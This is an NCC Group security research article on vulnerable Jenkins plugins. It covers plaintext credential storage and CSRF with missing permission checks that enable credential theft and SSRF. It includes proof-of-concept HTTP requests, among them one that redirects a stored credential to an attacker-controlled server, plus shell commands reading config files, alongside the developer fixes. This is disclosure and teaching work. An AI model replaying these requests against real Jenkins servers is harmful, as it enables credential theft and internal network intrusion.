Story of a Hundred Vulnerable Jenkins Plugins

Jenkins is an open source tool supporting building, deploying and automating software development and delivery, and can be extended by plugins to introduce additional functionalities like Active Directory authentication, or solve reoccurring tasks such as executing a static code analyser or copying a compiled software to a CIFS share. Similar to WordPress, the core framework is extended by hundreds of plugins; where most of these plugins are developed by 3rd party developers and it is up to them how securely they write them.

This article focuses on two types of vulnerabilities with examples and fixes that were found by NCC Group Security Consultant Viktor Gazdag (https://twitter.com/wucpi) when manually testing hundreds of plugins. These were storing credentials in plaintext and Cross-Site Request Forgery (CSRF) with missing permission checks that led to possible credential stealing and to Server-Side Request Forgery (SSRF). These tests resulted in more than 100 plugins found vulnerable and several coordinated and responsible public disclosures [A].

Details about the vulnerabilities

Credentials stored in plaintext

The most commonly found vulnerability was that the credentials were stored in plaintext. There are multiple options (global credential, pipeline steps and plugin settings) and places where credentials like usernames, passwords, API keys or tokens and certificates can be stored and used in Jenkins and in the plugins.

Although Jenkins encrypts the passwords in the credentials.xml file, some of the plugin developers made use of other ways to store the credentials in the plugin’s own .xml file or in the job’s config.xml file. In the majority of cases these solutions did not involve any encryption. In addition, sometimes the web form where the user submits the credentials revealed the password or the secret token and did not use the correct Jelly form control.

This could be problematic because the default installation (either it was a Docker container image or was installed by a package manager) had the default permission, which was world-readable on the credentials.xml, the plugin’s own global configuration xml file and for each of the jobs’ config.xml. It is worth mentioning that a lot of Jenkins hacking tutorials only mention the credentials.xml file and do not discuss the other two files. Not to mention that the workspace folder could temporarily store some juicy information as well.

The first example in this article will be the MQ plugin where although the web form did not disclose the password, it could be found in the plugin’s own settings file in plaintext:

By opening the settings of the plugin .xml file, the password tag clearly showed that the password was not encrypted:

root@jenkins:/var/lib/jenkins# ls -l | grep Rabb
-rw-r--r-- 1 jenkins jenkins 604 Apr 27 15:37
fr.frogdevelopment.jenkins.plugins.mq.RabbitMqBuilder.xml

root@jenkins:/var/lib/jenkins# cat 
fr.frogdevelopment.jenkins.plugins.mq.RabbitMqBuilder.xml 
<?xml version='1.1' encoding='UTF-8'?>
<>
plugin="rabbitmq-publisher@1.0">
  
    
      
        Rabbitmq
        Rabbitmq
        5672
        Rabbitmq
        Rabbitmq
      
    
  

The AWS Code Build plugin will be the second example where the credential was set up during the build step and the password was still in a secure form:

The config.xml is different for every job and by opening the .xml file and looking for the awsSecretKey tag in this case, the secret key was stored plaintext:

root@jenkins:/var/lib/jenkins/jobs/TestJob# cat config.xml 
<?xml version='1.1' encoding='UTF-8'?>

  
  
  false
  
    <>
plugin="gitlab-plugin@1.5.3">
      REMOVED
    
    <>
plugin="zmq-event-publisher@0.0.5">
      false
    
    
      false
      false
    
  
  
  true
  false
  false
  false
  
  false
  
    
      keys
      
      
      
      CodeBuild
      <awsSecretKey>CodeBuild>
      us-east-1
      CodBuildTest
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
        IN_PROGRESS
      
      false
      0
   
  
  
[REMOVED DATA]
  
  
root@jenkins:/var/lib/jenkins/jobs/TestJob#

The last example for weakly stored credentials is the Publish Over Dropbox Plugin that used a simple web form with textbox element displaying the token in the plugin settings and stored it in plaintext as well:

The following Jelly code was behind the web form that proved no password [1] field was used:

The related plugin .xml file contained the secret key in plaintext:

          GLOBAL
          woodspeed
          
          lYD2VnNz
          lYD2VnNz
        

Jenkins offers at least two solutions to store credentials in encrypted format:

• Using a Secret type offered by Jenkins
• 3rd party plugin called Credentials Plugin

The first case is the easiest solution, because Jenkins will automatically handle the encryption and decryption. So developers can encrypt the password by calling the Secret.getEncryptedValue(password) function and retrieve the password by using the Secret.decrypt(encrypted_password) [2] function:

The added line in the fixed version [2] of the code shows how to store the encrypted password value in the configuration file by creating a Secret and calling the getEncryptedValue() function:

The following code snippet was taken from the youtrack plugin [3] where it could be seen that the modified code replaced the String password to Secret password:

The modification in the DataBoundConstructor will ensure that the password field in the web form that is described in the Jelly file will use encryption and will not be plaintext anymore. Quoting from the Jenkins Developer guide [13]: “Secret fields are round-tripped in their encrypted form, so that their plain-text form cannot be retrieved by users later.”

To prevent revealing any sensitive information in the web form, developers should use the password field tag instead of the textbox field, just like in the following Jelly control example [6]:

For multiple lines of sensitive data the secretTextarea form element should be used.

Cross-Site Request Forgery vulnerability and missing permission check allowed capturing credentials

The second type of vulnerability had two impacts: credential capturing and SSRF. Let’s examine the first impact. Some of the plugins let users test the credential and connect to a server. These test functions can be protected by authorizing users based on user roles (require Overall/Administer permission) and enforcing POST requests, which will always require a CSRF token called Crumb. In these situations the plugin developers did not enforce POST requests and the plugin becomes vulnerable to CSRF. An attacker could change the hostname in the CSRF payload and trick the administrator in initiating the test connection to a server, which is controlled by the attacker to then capture the credential.

A basic example of GET request for checking the FTP login credential and the lack of CSRF token:

GET 
/publisher/FTPPublisher/loginCheck?hostname=192.168.182.147 port=21 user=FTP pass
=FTP%20repository%20 ftpDir= HTTP/1.1
Host: 192.168.182.145:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.182.145:8080/configure
X-Requested-With: XMLHttpRequest
X-Prototype-Version: 1.7
Cookie: JSESSIONID.b0684215=node011q64wqc6hems186mg72vsnj9b2.node0; screenResolution=1920x1080
Connection: close

HTTP/1.1 200 OK
Connection: close
Date: Mon, 11 Jun 2018 22:40:33 GMT
X-Content-Type-Options: nosniff
Content-Type: text/html;charset=utf-8
Content-Length: 146
Server: Jetty(9.4.z-SNAPSHOT)


width=1>Could not parse response code.
Server Reply:  lt;i gt;test

An example of CSRF with missing permission checks that lead to stealing credentialId was presented by the OpenStack Cloud Plugin:

POST
/descriptorByName/jenkins.plugins.openstack.compute.JCloudsCloud/testConnection
HTTP/1.1 
Host: localhost:8080 
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101
Firefox/61.0 
Accept: text/javascript, text/html, application/xml, text/xml, */* 
Accept-Language: en-GB,en;q=0.5 
Accept-Encoding: gzip, deflate 
Referer: http://localhost:8080/configure 
X-Requested-With: XMLHttpRequest 
X-Prototype-Version: 1.7 
Content-type: application/x-www-form-urlencoded; charset=UTF-8 
Jenkins-Crumb: 5a7519ad0475f3b3cf6471e6db14e147 
Content-Length: 94 
Cookie: jenkins-timestamper-offset=-3600000; 
JSESSIONID.86185ee4=node01fecnze42amx01b61wyscepi630.node0; 
screenResolution=1920x1080; 
JSESSIONID.2a4b243a=node01t1dukbbkz3201wpe17jmp9edo0.node0; 
JSESSIONID.7c3ef547=node0195ldhclxc4781e0i3ooloreu20.node0 
Connection: close 

endPointUrl=http%3A%2F%2F192.168.182.130%3A445%2F ignoreSsl=false credentialId=openstack zone=

HTTP/1.1 200 OK 
Connection: close 
Date: Tue, 23 Apr 2019 05:20:31 GMT 
X-Content-Type-Options: nosniff 
Content-Type: text/html;charset=utf-8 
Content-Length: 11396 
Server: Jetty(9.4.z-SNAPSHOT) 


width=1>Cannot connect to specified cloud, please check the identity and 
credentials: Failed to connect to /192.168.182.130:445 
class='showDetails'>(show details)

style='display:none'>java.net.ConnectException: Connection refused (Connection refused)

 [REMOVED DATA]

What really happened is that the plugin connected to the server controlled by the attacker and used the credentials mapped to the credentialId:

Changing the HTTP request method to GET and removing the CSRF token was possible:

GET 
/descriptorByName/jenkins.plugins.openstack.compute.JCloudsCloud/testConnection?endPointUrl=http%3A%2F%2F192.168.182.130%3A445%2F ignoreSsl=false credentialId=openstack zone= HTTP/1.1 
Host: localhost:8080 
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101 
Firefox/61.0 
Accept: text/javascript, text/html, application/xml, text/xml, */* 
Accept-Language: en-GB,en;q=0.5 
Accept-Encoding: gzip, deflate 
Referer: http://localhost:8080/configure 
X-Requested-With: XMLHttpRequest 
X-Prototype-Version: 1.7 
Connection: close

HTTP/1.1 200 OK 
Connection: close 
Date: Tue, 23 Apr 2019 06:27:30 GMT 
X-Content-Type-Options: nosniff 
Content-Type: text/html;charset=utf-8 
Content-Length: 10546 
Server: Jetty(9.4.z-SNAPSHOT) 

Cannot connect to specified cloud, please check the identity and credentials: Unexpected status line: (show details)
java.net.ProtocolException: Unexpected status line:
[REMOVED DATA]



As the following output shows, the credentialId still could be stolen:







Jenkins provide a simple solution to prevent this vulnerability by requiring POST requests in the form validation method by specifying the @POST (new approach) or @RequirePOST modifier (older approach) and checking the user permission with:



• Jenkins.get().checkPermission(Jenkins.ADMINISTER) or
• Jenkins.getInstance().checkPermission(Jenkins.ADMINISTER) built-in functions



The following Mesos plugin source code diff [4] between the vulnerable and fixed version is a great example of the good usage of FormValidation function with permission checking and forcing POST request:







There were cases where the plugin used POST requests to call the function, but this was not enforced, therefore it was possible to change the request to a GET request.



In this example MQ Notifier Plugin originally used POST request with an authenticated user with multiple permissions:



POST /descriptorByName/com.sonymobile.jenkins.plugins.mq.mqnotifier.MQNotifierConfig/testConnection HTTP/1.1
Host: 192.168.182.145:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.182.145:8080/configure
X-Requested-With: XMLHttpRequest
X-Prototype-Version: 1.7
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Jenkins-Crumb: c3a5ac71bca56748a66dd742118b7f27
Content-Length: 130
Cookie: JSESSIONID.25ea633b=node08h6r67rh2fws1rz0z429dyq7r4.node0; screenResolution=1920x1080
Connection: close
serverUri=amqp%3A%2F%2F192.168.182.142 userName=MQ userPassword=%7BAQAAABAAAAAQ2HeTzJo2L%2Bh06fzkt5U5EoqPjeW0twbBlbqygftUA7k%3D%7D

HTTP/1.1 200 OK
Connection: close
Date: Thu, 21 Jun 2018 19:47:00 GMT
X-Content-Type-Options: nosniff
Content-Type: text/html;charset=utf-8
Content-Length: 124
Server: Jetty(9.4.z-SNAPSHOT)
Connection refused (Connection refused)



The permission of the authenticated user got reduced to Overall/Read permission and it still worked:



POST /descriptorByName/com.sonymobile.jenkins.plugins.mq.mqnotifier.MQNotifierConfig/testConnection HTTP/1.1
Host: 192.168.182.145:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.182.145:8080/configure
X-Requested-With: XMLHttpRequest
X-Prototype-Version: 1.7
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Jenkins-Crumb: a41e9046bbf22e2440b4ff4e83eb8982
Content-Length: 130
Cookie: JSESSIONID.25ea633b=node01kaeeis2ilwsi6f86ubcxcarm6.node0; screenResolution=1920x1080
Connection: close
serverUri=amqp%3A%2F%2F192.168.182.142 userName=MQ userPassword=%7BAQAAABAAAAAQ2HeTzJo2L%2Bh06fzkt5U5EoqPjeW0twbBlbqygftUA7k%3D%7D



And finally changing the HTTP request method to GET which did not require the Crumb (CSRF Token) and the Anonymous user was used with overall/read permission:



GET /descriptorByName/com.sonymobile.jenkins.plugins.mq.mqnotifier.MQNotifierConfig/testConnection?serverUri=amqp%3A%2F%2F192.168.182.142 userName=MQ userPassword=%7BAQAAABAAAAAQ2HeTzJo2L%2Bh06fzkt5U5EoqPjeW0twbBlbqygftUA7k%3D%7D HTTP/1.1
Host: 192.168.182.145:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.182.145:8080/configure
X-Requested-With: XMLHttpRequest
X-Prototype-Version: 1.7
Connection: close
HTTP/1.1 200 OK
Connection: close
Date: Thu, 21 Jun 2018 19:47:36 GMT
X-Content-Type-Options: nosniff
Content-Type: text/html;charset=utf-8
Content-Length: 6
Server: Jetty(9.4.z-SNAPSHOT)




In the Jenkins form, the Jelly controls also support enforcing POST requests with the POST value in the checkMethod attribute. This will ensure that POST requests will be used whenever the parameter is sent.







Cross-Site Request Forgery vulnerability and missing permission check lead to SSRF



The second impact of this of vulnerability was SSRF as the user could abuse a function such as the previously seen server connection testing, with one or more of the parameters under control. This vulnerability could be used to perform port scanning, to map out the internal network or to brute force login credentials.



In this case, the parameters were under control and developers did not require administrator privileges to invoke the function. This allowed Jenkins users with Overall/Read access to connect to an attacker-controlled server using either existing credentials that were stored in Jenkins or to connect with attacker-specified credentials. As the web form did not use the POST request or in some cases it was possible to change the HTTP request method, the CSRF token was therefore not present in the request which resulted in CSRF.



An example of the SSRF without permission check and CSRF:



GET /descriptorByName/de.theit.jenkins.crowd.CrowdSecurityRealm/testConnection?url=http%3A%2F%2F192.168.182.142 applicationName=crowd2 password=crowd2 group=jenkins-users useSSO=false cookieDomain= cookieTokenkey=crowd.token_key sessionValidationInterval=2 httpMaxConnections=20 httpTimeout=5000 socketTimeout=20000 useProxy=false httpProxyHost= httpProxyPort= httpProxyUsername= httpProxyPassword= HTTP/1.1
Host: 192.168.182.151:8080
Origin: http://192.168.182.151:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36
Accept: text/javascript, text/html, application/xml, text/xml, */*
X-Prototype-Version: 1.7
X-Requested-With: XMLHttpRequest
Referer: http://192.168.182.151:8080/configureSecurity/
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.8,en;q=0.6
Connection: close

HTTP/1.1 200 OK
Connection: close
Date: Fri, 27 Jul 2018 22:43:34 GMT
X-Content-Type-Options: nosniff
Content-Type: text/html;charset=utf-8
Content-Length: 113
Server: Jetty(9.4.z-SNAPSHOT)
The connection check failed.



The solution is the same – require POST requests and to check permissions [5]. The permission check would require an administrator role, therefore a low privileged user would not be able to exploit the SSRF vulnerability.







There is an additional place where the POST request can be enforced in the plugin. Using the validation button Jelly form control in the web form will invoke a server-side validation method. The method attribute will specify the method name that will be invoked at server side and within the server side method, the values could be compared to prevent SSRF.



The following example from the Jenkins site [6] will demonstrate this – let’s first see the Jelly config:




 


 

<>
 title="${%Test Connection}" progress="${%Testing...}"
 method="testConnection" with="secretKey,accessId" />



Then the related code that will run whenever the testConnection function is called:



public FormValidation doTestConnection(@QueryParameter("accessId") final String 
accessId,
        @QueryParameter("secretKey") final String secretKey) throws IOException, 
ServletException {
    try {
        ... do some tests ...
        return FormValidation.ok("Success");
   } catch (EC2Exception e) {
       return FormValidation.error("Client error : "+e.getMessage());
   }
}



Summary



Jenkins is an important element of software development infrastructure as it is a central place of credentials to different systems. As the software was designed to be a framework, it is possible to extend its functionality by 3rd party developed plugins, so it is important that these are safely developed and implement the security features offered by the language and Jenkins.



Developers can prevent CSRF by enforcing POST requests and checking permissions with Jenkins.getInstance().checkPermission(Jenkins.ADMINISTER). For safer credential storing use Jenkins’ Secret and password field in the web form.



Hopefully this post combined with the Jenkins plugin writing articles [10, 11, 12, 13] and the Jenkins Security Advisories [A] bring more attention to secure plugin development and helps educate developers to produce more secure plugins.



Special Thanks to the following people



I would like to thank Daniel Beck at Jenkins and Matt Lewis, Balazs Bucsay, Mario Andres Alvarez Iregui at NCC Group and Irene Michlin for their help and suggestions.



[A] Jenkins Security Advisories



https://jenkins.io/security/advisory/2017-11-08/
https://jenkins.io/security/advisory/2017-11-16/
https://jenkins.io/security/advisory/2018-06-25/
https://jenkins.io/security/advisory/2018-07-30/
https://jenkins.io/security/advisory/2018-09-25/
https://jenkins.io/security/advisory/2019-02-19/
https://jenkins.io/security/advisory/2019-03-06/
https://jenkins.io/security/advisory/2019-03-25/
https://jenkins.io/security/advisory/2019-04-03/
https://jenkins.io/security/advisory/2019-04-17/
https://jenkins.io/blog/2019/04/03/security-advisory/



[B] Links



[1] https://github.com/jenkinsci/aws-cloudwatch-logs-publisher-plugin/blob/master/src/main/resources/jenkins/plugins/awslogspublisher/AWSLogsConfig/config.jelly
[2] https://github.com/jenkinsci/rabbitmq-publisher-plugin/pull/4/commits/f0306f229a79541650f759797475ef2574b7c057
[3] https://github.com/jenkinsci/youtrack-plugin/commit/f1fda71775cc0ffc4451cffcbb04f5b1dcbbdb55#diff-1f55fb4f7ebe43c327cf75e3dc280021
[4] https://github.com/jenkinsci/mesos-plugin/commit/e7e6397e30a612254e6033b94c21edb2324d648f
[5] https://github.com/jenkinsci/crowd2-plugin/commit/a93d0fa221454adb4087520d8c1c087828211598#diff-25d902c24283ab8cfbac54dfa101ad31
[6] https://wiki.jenkins.io/display/JENKINS/Jelly+form+controls
[7] https://jenkins.io/doc/developer/security/secrets/
[8] https://github.com/jenkinsci/crowd2-plugin/commit/580be2a0dfb38d494420901f03555092b885a85f#diff-29a3fe2c34e7328ce70ada171e2e228c
[9] https://github.com/jenkinsci/publish-over-dropbox-plugin/commit/d23d372bc24d2bb8a1c0d39f7e998a29705a559b?diff=unified
[10] https://jenkins.io/doc/book/using/using-credentials/
[11] https://javadoc.jenkins.io/hudson/util/Secret.html
[12] https://javadoc.jenkins-ci.org/hudson/util/Secret.html
[13] https://jenkins.io/doc/developer/security/form-validation/



Published date:  02 May 2019



Written by:  Viktor Gazdag